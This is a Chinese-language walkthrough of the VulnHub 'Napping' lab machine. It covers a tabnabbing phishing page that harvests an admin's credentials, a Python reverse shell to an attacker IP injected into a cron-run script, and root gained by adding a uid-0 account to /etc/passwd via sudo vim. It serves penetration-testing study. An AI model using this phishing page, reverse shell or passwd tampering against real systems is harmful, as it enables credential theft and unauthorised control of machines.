靶机练习No.5 VulnHub靶场 Napping

363 阅读3分钟

**声明:**文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。仅供学习研究

靶机信息

下载地址:    www.vulnhub.com/entry/nappi…

难度:    中等

上架时间:    2021年10月22日

提示信息:    Even Admins can fall asleep on the job

翻译:           即使是管理员也会在工作中睡着


信息收集

扫描主机

nmap -sP 192.168.7.1/24

图片

扫描端口

nmap -sC -sV -p- 192.168.7.242 -oN napping.nmap

图片

WEB渗透

开放两个端口22和80,先访问80端口

图片

是个登陆页面,有个注册帐号的链接,先注册个帐号aaa密码bbbbbb

图片

注册好我们登陆上去看看

图片

看到提示,这是一个提交友情链接的地方,并且说明管理员会审查,结合靶机名字联想到tabnabbing标签钓鱼

图片

标签钓鱼

想实现tabnabbing钓鱼还需要准备两个页面

第一个是复制原站登陆页面用来钓鱼

先把登录页面保存下来命名为login.html

图片

第二个恶意页面nadding.html

vi nadding.html
<!DOCTYPE html>
<html>
<body>
    <script>
      if(window.opener) mainframe.location.replace=('http://192.168.7.3:7777/login.html');
      if(window.opener  != window) mainframe.location.replace=('http://192.168.7.3:7777/login.html');
</script>
</body>
</html>

页面准备好后用python3开启http服务

python3 -m http.server 80

图片

先在kali攻击机上监听7777端口

nc -lvvp 7777

图片

到站点去提交我们的url    http://192.168.7.3/nadding.html

图片

等待管理员去检查链接就可以拿到他的帐号密码了

图片

获取到帐号    daniel    密码    C@ughtm3napping123    (注意%40是url编码,解码后就是@)

用这个帐号登录提示用户或密码不正确

图片

难道是ssh的帐号密码

ssh daniel@192.168.7.242

登录成功,看下用户信息

id

图片

通过用户信息看到daniele用户在administrators组里面,那就找下这个组有哪些文件可以利用

权限提升

查找提权文件

find / -group administrators -type f 2>/dev/null

图片

找到/home/adrian目录下一个query.py的python脚本可以利用

切换到/home/adrian目录,里面还有一个user.txt应该是一个flag,但是没权限打开,还是先提权吧

cd /home/adrian/
ls
cat user.txt

图片

看下query.py脚本内容,是一个检查站点是否可以正常访问的脚本

cat query.py

图片

再看下site_status.txt内容,可以看到脚本每2分执行一次

cat site_status.txt

图片

现在修改一下脚本 插入反弹shell等待2分钟反弹shell回来

from datetime import datetime
import requests

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.7.3",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])


now = datetime.now()

r = requests.get('http://127.0.0.1/')
if r.status_code == 200:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Site is Up: ")
    f.write(dt_string)
    f.write("\n")
    f.close()
else:
    f = open("site_status.txt","a")
    dt_string = now.strftime("%d/%m/%Y %H:%M:%S")
    f.write("Check Out Site: ")
    f.write(dt_string)
    f.write("\n")
    f.close()

反弹shell

kali攻击上监听4444端口

图片

成功反弹shell,反弹回来是adrian帐号

图片

拿到一个完整的交互shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm

Ctrl+Z

图片

stty -a
stty raw -echo;fg
reset

图片

stty rows 23 columns 172

图片

OK,现在是完整的shell了,看一下adrian目录下的user.txt内容,提示"快到了"是不是说快拿到flag了

cat user.txt

图片

添加管理员帐号

看下sudo有什么权限,果然vim不需要密码可以执行

sudo -l

图片

这就简单了,我们修改passwd文件为自己创建个root权限帐号

passwd帐号格式:用户名:密码:uid:gid:注释:home目录:用户的shell

可以参考root帐号:"root:0:0:root:/root:/bin/bash"

知道格式还需要先生成一个密码

openssl passwd -1 –salt aaa 123

生成了3个密码,任意选一个就行

图片

补全帐号格式,然后添加到passwd文件中

aaa:$1$J6LK57RZ$sbqk0gvG0zhRqsgusH6ja1:0:0:root:/aaa:/bin/bash

修改passwd文件,将生成的帐号添加进去

sudo vim /etc/passwd

图片

现在可以切换用户了,我们刚才设置的帐号密码都是aaa

su aaa
id
ls
cat root.txt

图片

成功拿到root权限